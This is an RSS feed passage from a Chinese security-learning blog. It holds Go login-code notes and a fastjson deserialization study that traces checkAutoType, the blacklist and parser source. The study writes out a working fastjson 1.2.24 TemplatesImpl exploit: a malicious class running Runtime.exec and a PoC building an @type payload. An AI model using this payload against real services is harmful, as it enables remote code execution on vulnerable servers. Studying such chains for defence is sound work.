&lt;pre&gt;&lt;code&gt;func RegisterUser(req model.RegisterRequest) (*model.User, error) {
    // 检查用户名是否存在
    var existUser model.User
    if err := database.DB.Where(&quot;username = ?&quot;, req.Username).First(&amp;amp;existUser).Error; err == nil {
        return nil, errors.New(&quot;用户名已存在&quot;)
    }

    // 检查邮箱是否存在
    if err := database.DB.Where(&quot;email = ?&quot;, req.Email).First(&amp;amp;existUser).Error; err == nil {
        return nil, errors.New(&quot;邮箱已被注册&quot;)
    }

    // 加密密码
    hashedPassword := HashPassword(req.Password)

    // 创建用户
    user := model.User{
        Username: req.Username,
        Email:    req.Email,
        Password: hashedPassword,
    }

    // 保存到数据库
    if err := database.DB.Create(&amp;amp;user).Error; err != nil {
        return nil, errors.New(&quot;用户创建失败&quot;)
    }

    return &amp;amp;user, nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后为什么返回 &amp;amp;user,nil ？ 注册成功为什么返回这个。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;数据库操作惯例返回指针&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func HashPassword(password string) string {
	bytes, err := bcrypt.GenerateFromPassword([]byte(password), 14)
	if err != nil {
		log.Printf(&quot;Error hashing password: %v&quot;, err)
		panic(err)
	}
	return string(bytes)
}
func CheckPasswordHash(password, hash string) bool {
	err := bcrypt.CompareHashAndPassword([]byte(hash), []byte(password))
	return err == nil
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个 hash 加密为什么没有密钥&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;内置盐值等&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func LoginHandler(c *gin.Context) {
    var loginRequest model.LoginRequest

    if err := c.ShouldBindJSON(&amp;amp;loginRequest); err != nil {
        c.JSON(400, gin.H{&quot;error&quot;: &quot;请求参数错误: &quot; + err.Error()})
        return
    }

    user, err := util.LoginUser(loginRequest)
    if err != nil {
        c.JSON(401, gin.H{&quot;error&quot;: err.Error()})
        return
    }

    c.JSON(200, gin.H{
        &quot;message&quot;: &quot;登录成功&quot;,
        &quot;user&quot;:    user,
    })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录成功后返回 user 指针， *model.User 类型，这里能自动解析吗？为什么会自动解析？以及返回 user , user结构体中包含密码等敏感信息&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;c.JSON 会自动解引用&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;使用 json:&quot;-&quot;  保证 json 序列化时隐藏该字段&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type User struct {
	gorm.Model
	Username string `gorm:&quot;uniqueIndex;not null&quot;`
	Email    string `gorm:&quot;uniqueIndex;not null;email&quot;`
	Password string `gorm:&quot;not null;size:255&quot; json:&quot;-&quot;`
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里询问 ai 之后发现需要添加标签 json 比较规范&lt;img src=&quot;QQ_1770617694261-17707809137814.png&quot; alt=&quot;img&quot; /&gt;&lt;img src=&quot;QQ_1770617641375-17707809137813.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Error Error() Err&lt;/h5&gt;
&lt;p&gt;error 接口，存在一个 Error() 方法，返回 string&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;err.Error() // 取出错误的文字描述
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 gorm 中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;config.DB.Create(&amp;amp;user) 
// 返回 *gorm.DB
// *gorm.DB 结构体中有一个字段为 Error ,实现了 error 接口，
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;go-redis 中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RDB.Ping(Ctx) 
// 返回 *redis.StatusCmd
// 其中有一个方法叫 Err()
func (cmd *StatusCmd) Err() error { ... }          
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>fastjson</title><link>https://fuwari.vercel.app/posts/post7-java_fastjson/fastjson/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/post7-java_fastjson/fastjson/</guid><description>java</description><pubDate>Thu, 22 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h4&gt;1. fastjson 初步了解&lt;/h4&gt;
&lt;p&gt;​    java 编写的高性能 JSON 库，用于将数据在 JSON 和 java Object 之间转换。&lt;/p&gt;
&lt;p&gt;提供了两个接口来实现序列化和反序列化的操作。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;JSON.toJSONString 将 java 对象转换为 json 对象，序列化。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;JSON.parseObject / JSON.parse 将 json 对象转换为 java 对象，反序列化.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1768726824371.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String jsonString = JSON.toJSONString(student,SerializerFeature.WriteClassName)

### SerializerFeature.WriteClassName，是 JSON.toJSONString() 中的一个设置属性值，设置之后在### 序列化的时候会多写入一个@type，即写上被序列化的类名，type 可以指定反序列化的类，并且调用其
### getter/setter/is 方法
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1768727567335.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;out 中有一个字符数组，student 的属性等存储其中。&lt;img src=&quot;QQ_1768727746891.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;创建一个序列化器，将 object 序列化，最后调用 toString()。&lt;img src=&quot;image-20260118171632159.png&quot; alt=&quot;image-20260118171632159&quot; /&gt;&lt;/p&gt;
&lt;p&gt;fastjson 产生的安全问题：fastjson 在反序列化时会去看 @type 中指定的类，然后在反序列化的过程中自动调用一些 setter 和 getter 以及构造函数方法。每个版本都是一样的，不同版本有不同的黑名单，维护在 ParserConfig 中。&lt;/p&gt;
&lt;p&gt;满足条件的 setter：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;非静态函数&lt;/li&gt;
&lt;li&gt;返回类型为 void 或当前类&lt;/li&gt;
&lt;li&gt;参数个数为 1 个&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;满足条件的 getter：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;非静态方法&lt;/li&gt;
&lt;li&gt;无参数&lt;/li&gt;
&lt;li&gt;返回值类型继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLong&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;满足以上条件的 setter getter 会在反序列化的过程中调用。&lt;/p&gt;
&lt;h5&gt;1.2.24 版本没有黑名单，没有 checkAutoType ，autoType 默认 True。&lt;/h5&gt;
&lt;h5&gt;1.2.25 版本黑名单如下，autoType 默认 false。&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;[bsh, com.mchange, com.sun., java.lang.Thread, java.net.Socket, java.rmi, javax.xml, org.apache.bcel, org.apache.commons.beanutils, org.apache.commons.collections.Transformer, org.apache.commons.collections.functors, org.apache.commons.collections4.comparators, org.apache.commons.fileupload, org.apache.myfaces.context.servlet, org.apache.tomcat, org.apache.wicket.util, org.codehaus.groovy.runtime, org.hibernate, org.jboss, org.mozilla.javascript, org.python.core, org.springframework]

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.2.42 开始黑名单变成 hash 值，目前有一些跑出来的类 &lt;a href=&quot;https://github.com/LeadroyaL/fastjson-blacklist&quot;&gt;LeadroyaL/fastjson-blacklist&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;checkAutoType&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public Class&amp;lt;?&amp;gt; checkAutoType(String typeName, Class&amp;lt;?&amp;gt; expectClass) {
    if (typeName == null) {
        return null;
    } else {
        String className = typeName.replace(&apos;$&apos;, &apos;.&apos;);
        # 如果开启了 autoTypeSupport 会检查 typeName 是否在白名单，如果在直接 loadClass，不在进行其他处理。
        if (this.autoTypeSupport || expectClass != null) {
        
            for(int i = 0; i &amp;lt; this.acceptList.length; ++i) {
                String accept = this.acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }
            }
			# 如果不在白名单，会检查 typeName 是否在黑名单，如果在抛出异常
            for(int i = 0; i &amp;lt; this.denyList.length; ++i) {
                String deny = this.denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException(&quot;autoType is not support. &quot; + typeName);
                }
            }
        }
        
		# 如果不在黑白名单，或者 autoTypeSupport 没开启，则去 Mapping 缓存找这个类
        Class&amp;lt;?&amp;gt; clazz = TypeUtils.getClassFromMapping(typeName);
        # 如果 Mapping 缓存没用，去反序列化器缓存中找
        if (clazz == null) {
            clazz = this.deserializers.findClass(typeName);
        }
		# 如果上述两种方式找到了，并且指定了 expectClass ，检查是不是其子类，不是则抛出异常。
        if (clazz != null) {
            if (expectClass != null &amp;amp;&amp;amp; !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException(&quot;type not match. &quot; + typeName + &quot; -&amp;gt; &quot; + expectClass.getName());
            } else {
                return clazz;
            }
        } else {
        # 如果没有开启 autoTypeSupport ，则先经过黑名单过滤，然后在经过白名单，在白名单就 loadClass
            if (!this.autoTypeSupport) {
                for(int i = 0; i &amp;lt; this.denyList.length; ++i) {
                    String deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException(&quot;autoType is not support. &quot; + typeName);
                    }
                }

                for(int i = 0; i &amp;lt; this.acceptList.length; ++i) {
                    String accept = this.acceptList[i];
                    if (className.startsWith(accept)) {
                        if (clazz == null) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                        }

                        if (expectClass != null &amp;amp;&amp;amp; expectClass.isAssignableFrom(clazz)) {
                            throw new JSONException(&quot;type not match. &quot; + typeName + &quot; -&amp;gt; &quot; + expectClass.getName());
                        }

                        return clazz;
                    }
                }
            }
			# 如果不在黑白名单，也不在缓存中，则直接 loadClass
            if (clazz == null) {
                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
            }

            if (clazz != null) {
            # 如果类上有 @JSONType 注解，直接放行
                if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
                    return clazz;
                }
				// 拦截高危：ClassLoader 和 DataSource
                if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                    throw new JSONException(&quot;autoType is not support. &quot; + typeName);
                }

                if (expectClass != null) {
                    if (expectClass.isAssignableFrom(clazz)) {
                        return clazz;
                    }

                    throw new JSONException(&quot;type not match. &quot; + typeName + &quot; -&amp;gt; &quot; + expectClass.getName());
                }

                JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
                if (beanInfo.creatorConstructor != null &amp;amp;&amp;amp; this.autoTypeSupport) {
                    throw new JSONException(&quot;autoType is not support. &quot; + typeName);
                }
            }

            int mask = Feature.SupportAutoType.mask;
            boolean autoTypeSupport = this.autoTypeSupport || (features &amp;amp; mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE &amp;amp; mask) != 0;
            # 最后的检查，所以需要提前设置 autoTypeSupport 为 true
            if (!autoTypeSupport) {
                throw new JSONException(&quot;autoType is not support. &quot; + typeName);
            } else {
                return clazz;
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. fastjson 1.2.24 版本下的链子&lt;/h4&gt;
&lt;p&gt;TODO&lt;/p&gt;
&lt;h5&gt;1. 基于 TemplatesImpl 的链子&lt;/h5&gt;
&lt;p&gt;这条链子基于 templatesimpl 加载字节码，上层是调用了 newInstance() 方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1768980854101.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再往上是 getTransletInstance 方法，是一个 getter 方法。&lt;/p&gt;
&lt;p&gt;要加载的恶意类&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class templatesBytes extends AbstractTranslet {
    public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException {
        // 方法实现

    }
    public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        // 方法实现
    }
    public templatesBytes() throws IOException {
        super();
        Runtime.getRuntime().exec(&quot;calc&quot;);
    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试使用 getTransletInstance() 去触发，事后发现这个不会被触发，不满足上述 getter 的条件，继续找了一个  getoutputproperties，提前编译字节码 &lt;code&gt;javac evil.java&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;修改为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;


public class TemplateImplPoc {
    public static void main(String[] args) throws IOException {

        byte[] bytecodes = Files.readAllBytes(Paths.get(&quot;D:\\tools_D\\java\\java_learn\\fastjson\\src\\main\\java\\evil.class&quot;));

        String base64Bytecodes = java.util.Base64.getEncoder().encodeToString(bytecodes);

        String payload = String.format(
                &quot;{\&quot;@type\&quot;:\&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\&quot;,&quot; +
                        &quot;\&quot;_name\&quot;:\&quot;evil\&quot;,&quot; +
                        &quot;\&quot;_tfactory\&quot;:{},&quot; +
                        &quot;\&quot;_bytecodes\&quot;:[\&quot;%s\&quot;],&quot;+&quot;\&quot;_outputProperties\&quot;:{}&quot;+&quot;}&quot;, base64Bytecodes);

        System.out.println(&quot;payload as follow:\n&quot; + payload);
        JSON.parse(payload, Feature.SupportNonPublicField);
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调试一遍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1768983946355.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一直跟进到这里，新建一个 JSONObject 对象，查看是否保持字段顺序，继续跟进&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1768984261349.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;JSONObject 就是一个 HashMap。&lt;/p&gt;
&lt;p&gt;调用栈&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1768986626504.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1769044995975.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;需要这个参数 &lt;code&gt;Feature.SupportNonPublicField&lt;/code&gt; 所以限制会比 jdbc 那个链子限制大一些&lt;/p&gt;
&lt;h5&gt;2. 基于 JdbcRowSetImpl 的链子&lt;/h5&gt;
&lt;p&gt;基于 RMI 利用的 JDK 版本 ≤ 6u141、7u131、8u121，基于 LDAP 利用的 JDK 版本 ≤ 6u211、7u201、8u191。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1769052260142.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;调用了 lookup() 方法，可以打 jndi+ldap，rmi&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){
    this.lexer = lexer;
    this.input = input;
    this.config = config;
    this.symbolTable = config.symbolTable;

    int ch = lexer.getCurrent();
    if (ch == &apos;{&apos;) {
        lexer.next();
        ((JSONLexerBase) lexer).token = JSONToken.LBRACE;
    } else if (ch == &apos;[&apos;) {
        lexer.next();
        ((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
    } else {
        lexer.nextToken(); // prime the pump
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对 { [ 做额外处理避免了开销大的 nextToken()&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public final void nextToken() {
    sp = 0;

    for (;;) {
        pos = bp;

        if (ch == &apos;/&apos;) {
            skipComment();
            continue;
        }

        if (ch == &apos;&quot;&apos;) {
            scanString();
            return;
        }

        if (ch == &apos;,&apos;) {
            next();
            token = COMMA;
            return;
        }

        if (ch &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; ch &amp;lt;= &apos;9&apos;) {
            scanNumber();
            return;
        }

        if (ch == &apos;-&apos;) {
            scanNumber();
            return;
        }

        switch (ch) {
            case &apos;\&apos;&apos;:
                if (!isEnabled(Feature.AllowSingleQuotes)) {
                    throw new JSONException(&quot;Feature.AllowSingleQuotes is false&quot;);
                }
                scanStringSingleQuote();
                return;
            case &apos; &apos;:
            case &apos;\t&apos;:
            case &apos;\b&apos;:
            case &apos;\f&apos;:
            case &apos;\n&apos;:
            case &apos;\r&apos;:
                next();
                break;
            case &apos;t&apos;: // true
                scanTrue();
                return;
            case &apos;f&apos;: // false
                scanFalse();
                return;
            case &apos;n&apos;: // new,null
                scanNullOrNew();
                return;
            case &apos;T&apos;:
            case &apos;N&apos;: // NULL
            case &apos;S&apos;:
            case &apos;u&apos;: // undefined
                scanIdent();
                return;
            case &apos;(&apos;:
                next();
                token = LPAREN;
                return;
            case &apos;)&apos;:
                next();
                token = RPAREN;
                return;
            case &apos;[&apos;:
                next();
                token = LBRACKET;
                return;
            case &apos;]&apos;:
                next();
                token = RBRACKET;
                return;
            case &apos;{&apos;:
                next();
                token = LBRACE;
                return;
            case &apos;}&apos;:
                next();
                token = RBRACE;
                return;
            case &apos;:&apos;:
                next();
                token = COLON;
                return;
            default:
                if (isEOF()) { // JLS
                    if (token == EOF) {
                        throw new JSONException(&quot;EOF error&quot;);
                    }

                    token = EOF;
                    pos = bp = eofPos;
                } else {
                    if (ch &amp;lt;= 31 || ch == 127) {
                        next();
                        break;
                    }
                    lexError(&quot;illegal.char&quot;, String.valueOf((int) ch));
                    next();
                }

                return;
        }
    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到一个起始的 token 然后跟进到 parse()，根据 token 判断走什么&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public Object parse(Object fieldName) {
    final JSONLexer lexer = this.lexer;
    switch (lexer.token()) {
        case SET:
            lexer.nextToken();
            HashSet&amp;lt;Object&amp;gt; set = new HashSet&amp;lt;Object&amp;gt;();
            parseArray(set, fieldName);
            return set;
        case TREE_SET:
            lexer.nextToken();
            TreeSet&amp;lt;Object&amp;gt; treeSet = new TreeSet&amp;lt;Object&amp;gt;();
            parseArray(treeSet, fieldName);
            return treeSet;
        case LBRACKET:
            JSONArray array = new JSONArray();
            parseArray(array, fieldName);
            if (lexer.isEnabled(Feature.UseObjectArray)) {
                return array.toArray();
            }
            return array;
        case LBRACE:
            JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
            return parseObject(object, fieldName);
        case LITERAL_INT:
            Number intValue = lexer.integerValue();
            lexer.nextToken();
            return intValue;
        case LITERAL_FLOAT:
            Object value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
            lexer.nextToken();
            return value;
        case LITERAL_STRING:
            String stringLiteral = lexer.stringVal();
            lexer.nextToken(JSONToken.COMMA);

            if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
                JSONScanner iso8601Lexer = new JSONScanner(stringLiteral);
                try {
                    if (iso8601Lexer.scanISO8601DateIfMatch()) {
                        return iso8601Lexer.getCalendar().getTime();
                    }
                } finally {
                    iso8601Lexer.close();
                }
            }

            return stringLiteral;
        case NULL:
            lexer.nextToken();
            return null;
        case UNDEFINED:
            lexer.nextToken();
            return null;
        case TRUE:
            lexer.nextToken();
            return Boolean.TRUE;
        case FALSE:
            lexer.nextToken();
            return Boolean.FALSE;
        case NEW:
            lexer.nextToken(JSONToken.IDENTIFIER);

            if (lexer.token() != JSONToken.IDENTIFIER) {
                throw new JSONException(&quot;syntax error&quot;);
            }
            lexer.nextToken(JSONToken.LPAREN);

            accept(JSONToken.LPAREN);
            long time = ((Number) lexer.integerValue()).longValue();
            accept(JSONToken.LITERAL_INT);

            accept(JSONToken.RPAREN);

            return new Date(time);
        case EOF:
            if (lexer.isBlankInput()) {
                return null;
            }
            throw new JSONException(&quot;unterminated json string, &quot; + lexer.info());
        case ERROR:
        default:
            throw new JSONException(&quot;syntax error, &quot; + lexer.info());
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1769071083551.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后跟进 parseObject()&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public final Object parseObject(final Map object, Object fieldName) {
    final JSONLexer lexer = this.lexer;

    if (lexer.token() == JSONToken.NULL) {
        lexer.nextToken();
        return null;
    }

    if (lexer.token() == JSONToken.RBRACE) {
        lexer.nextToken();
        return object;
    }

    if (lexer.token() != JSONToken.LBRACE &amp;amp;&amp;amp; lexer.token() != JSONToken.COMMA) {
        throw new JSONException(&quot;syntax error, expect {, actual &quot; + lexer.tokenName() + &quot;, &quot; + lexer.info());
    }

   ParseContext context = this.context;
    try {
        boolean setContextFlag = false;
        for (;;) {
            lexer.skipWhitespace();
            char ch = lexer.getCurrent();
            if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
                while (ch == &apos;,&apos;) {
                    lexer.next();
                    lexer.skipWhitespace();
                    ch = lexer.getCurrent();
                }
            }

            boolean isObjectKey = false;
            Object key;
            if (ch == &apos;&quot;&apos;) {
                key = lexer.scanSymbol(symbolTable, &apos;&quot;&apos;);
                lexer.skipWhitespace();
                ch = lexer.getCurrent();
                if (ch != &apos;:&apos;) {
                    throw new JSONException(&quot;expect &apos;:&apos; at &quot; + lexer.pos() + &quot;, name &quot; + key);
                }
            } else if (ch == &apos;}&apos;) {
                lexer.next();
                lexer.resetStringPosition();
                lexer.nextToken();

                if (!setContextFlag) {
                    if (this.context != null &amp;amp;&amp;amp; fieldName == this.context.fieldName &amp;amp;&amp;amp; object == this.context.object) {
                        context = this.context;
                    } else {
                        ParseContext contextR = setContext(object, fieldName);
                        if (context == null) {
                            context = contextR;
                        }
                        setContextFlag = true;
                    }
                }

                return object;
            } else if (ch == &apos;\&apos;&apos;) {
                if (!lexer.isEnabled(Feature.AllowSingleQuotes)) {
                    throw new JSONException(&quot;syntax error&quot;);
                }

                key = lexer.scanSymbol(symbolTable, &apos;\&apos;&apos;);
                lexer.skipWhitespace();
                ch = lexer.getCurrent();
                if (ch != &apos;:&apos;) {
                    throw new JSONException(&quot;expect &apos;:&apos; at &quot; + lexer.pos());
                }
            } else if (ch == EOI) {
                throw new JSONException(&quot;syntax error&quot;);
            } else if (ch == &apos;,&apos;) {
                throw new JSONException(&quot;syntax error&quot;);
            } else if ((ch &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; ch &amp;lt;= &apos;9&apos;) || ch == &apos;-&apos;) {
                lexer.resetStringPosition();
                lexer.scanNumber();
                try {
                if (lexer.token() == JSONToken.LITERAL_INT) {
                    key = lexer.integerValue();
                } else {
                    key = lexer.decimalValue(true);
                }
                } catch (NumberFormatException e) {
                    throw new JSONException(&quot;parse number key error&quot; + lexer.info());
                }
                ch = lexer.getCurrent();
                if (ch != &apos;:&apos;) {
                    throw new JSONException(&quot;parse number key error&quot; + lexer.info());
                }
            } else if (ch == &apos;{&apos; || ch == &apos;[&apos;) {
                lexer.nextToken();
                key = parse();
                isObjectKey = true;
            } else {
                if (!lexer.isEnabled(Feature.AllowUnQuotedFieldNames)) {
                    throw new JSONException(&quot;syntax error&quot;);
                }

                key = lexer.scanSymbolUnQuoted(symbolTable);
                lexer.skipWhitespace();
                ch = lexer.getCurrent();
                if (ch != &apos;:&apos;) {
                    throw new JSONException(&quot;expect &apos;:&apos; at &quot; + lexer.pos() + &quot;, actual &quot; + ch);
                }
            }

            if (!isObjectKey) {
                lexer.next();
                lexer.skipWhitespace();
            }

            ch = lexer.getCurrent();

            lexer.resetStringPosition();

            if (key == JSON.DEFAULT_TYPE_KEY &amp;amp;&amp;amp; !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                String typeName = lexer.scanSymbol(symbolTable, &apos;&quot;&apos;);
                Class&amp;lt;?&amp;gt; clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

                if (clazz == null) {
                    object.put(JSON.DEFAULT_TYPE_KEY, typeName);
                    continue;
                }

                lexer.nextToken(JSONToken.COMMA);
                if (lexer.token() == JSONToken.RBRACE) {
                    lexer.nextToken(JSONToken.COMMA);
                    try {
                        Object instance = null;
                        ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
                        if (deserializer instanceof JavaBeanDeserializer) {
                            instance = ((JavaBeanDeserializer) deserializer).createInstance(this, clazz);
                        }

                        if (instance == null) {
                            if (clazz == Cloneable.class) {
                                instance = new HashMap();
                            } else if (&quot;java.util.Collections$EmptyMap&quot;.equals(typeName)) {
                                instance = Collections.emptyMap();
                            } else {
                                instance = clazz.newInstance();
                            }
                        }

                        return instance;
                    } catch (Exception e) {
                        throw new JSONException(&quot;create instance error&quot;, e);
                    }
                }

                this.setResolveStatus(TypeNameRedirect);

                if (this.context != null &amp;amp;&amp;amp; !(fieldName instanceof Integer)) {
                    this.popContext();
                }

                if (object.size() &amp;gt; 0) {
                    Object newObj = TypeUtils.cast(object, clazz, this.config);
                    this.parseObject(newObj);
                    return newObj;
                }

                ObjectDeserializer deserializer = config.getDeserializer(clazz);
                return deserializer.deserialze(this, clazz, fieldName);
            }

            if (key == &quot;$ref&quot; &amp;amp;&amp;amp; !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                lexer.nextToken(JSONToken.LITERAL_STRING);
                if (lexer.token() == JSONToken.LITERAL_STRING) {
                    String ref = lexer.stringVal();
                    lexer.nextToken(JSONToken.RBRACE);

                    Object refValue = null;
                    if (&quot;@&quot;.equals(ref)) {
                        if (this.context != null) {
                            ParseContext thisContext = this.context;
                            Object thisObj = thisContext.object;
                            if (thisObj instanceof Object[] || thisObj instanceof Collection&amp;lt;?&amp;gt;) {
                                refValue = thisObj;
                            } else if (thisContext.parent != null) {
                                refValue = thisContext.parent.object;
                            }
                        }
                    } else if (&quot;..&quot;.equals(ref)) {
                        if (context.object != null) {
                            refValue = context.object;
                        } else {
                            addResolveTask(new ResolveTask(context, ref));
                            setResolveStatus(DefaultJSONParser.NeedToResolve);
                        }
                    } else if (&quot;$&quot;.equals(ref)) {
                        ParseContext rootContext = context;
                        while (rootContext.parent != null) {
                            rootContext = rootContext.parent;
                        }

                        if (rootContext.object != null) {
                            refValue = rootContext.object;
                        } else {
                            addResolveTask(new ResolveTask(rootContext, ref));
                            setResolveStatus(DefaultJSONParser.NeedToResolve);
                        }
                    } else {
                        addResolveTask(new ResolveTask(context, ref));
                        setResolveStatus(DefaultJSONParser.NeedToResolve);
                    }

                    if (lexer.token() != JSONToken.RBRACE) {
                        throw new JSONException(&quot;syntax error&quot;);
                    }
                    lexer.nextToken(JSONToken.COMMA);

                    return refValue;
                } else {
                    throw new JSONException(&quot;illegal ref, &quot; + JSONToken.name(lexer.token()));
                }
            }

            if (!setContextFlag) {
                if (this.context != null &amp;amp;&amp;amp; fieldName == this.context.fieldName &amp;amp;&amp;amp; object == this.context.object) {
                    context = this.context;
                } else {
                    ParseContext contextR = setContext(object, fieldName);
                    if (context == null) {
                        context = contextR;
                    }
                    setContextFlag = true;
                }
            }

            if (object.getClass() == JSONObject.class) {
                key = (key == null) ? &quot;null&quot; : key.toString();
            }

            Object value;
            if (ch == &apos;&quot;&apos;) {
                lexer.scanString();
                String strValue = lexer.stringVal();
                value = strValue;

                if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
                    JSONScanner iso8601Lexer = new JSONScanner(strValue);
                    if (iso8601Lexer.scanISO8601DateIfMatch()) {
                        value = iso8601Lexer.getCalendar().getTime();
                    }
                    iso8601Lexer.close();
                }

                object.put(key, value);
            } else if (ch &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; ch &amp;lt;= &apos;9&apos; || ch == &apos;-&apos;) {
                lexer.scanNumber();
                if (lexer.token() == JSONToken.LITERAL_INT) {
                    value = lexer.integerValue();
                } else {
                    value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
                }

                object.put(key, value);
            } else if (ch == &apos;[&apos;) { // 减少嵌套，兼容android
                lexer.nextToken();

                JSONArray list = new JSONArray();

                final boolean parentIsArray = fieldName != null &amp;amp;&amp;amp; fieldName.getClass() == Integer.class;
//                    if (!parentIsArray) {
//                        this.setContext(context);
//                    }
                if (fieldName == null) {
                    this.setContext(context);
                }

                this.parseArray(list, key);

                if (lexer.isEnabled(Feature.UseObjectArray)) {
                    value = list.toArray();
                } else {
                    value = list;
                }
                object.put(key, value);

                if (lexer.token() == JSONToken.RBRACE) {
                    lexer.nextToken();
                    return object;
                } else if (lexer.token() == JSONToken.COMMA) {
                    continue;
                } else {
                    throw new JSONException(&quot;syntax error&quot;);
                }
            } else if (ch == &apos;{&apos;) { // 减少嵌套，兼容android
                lexer.nextToken();

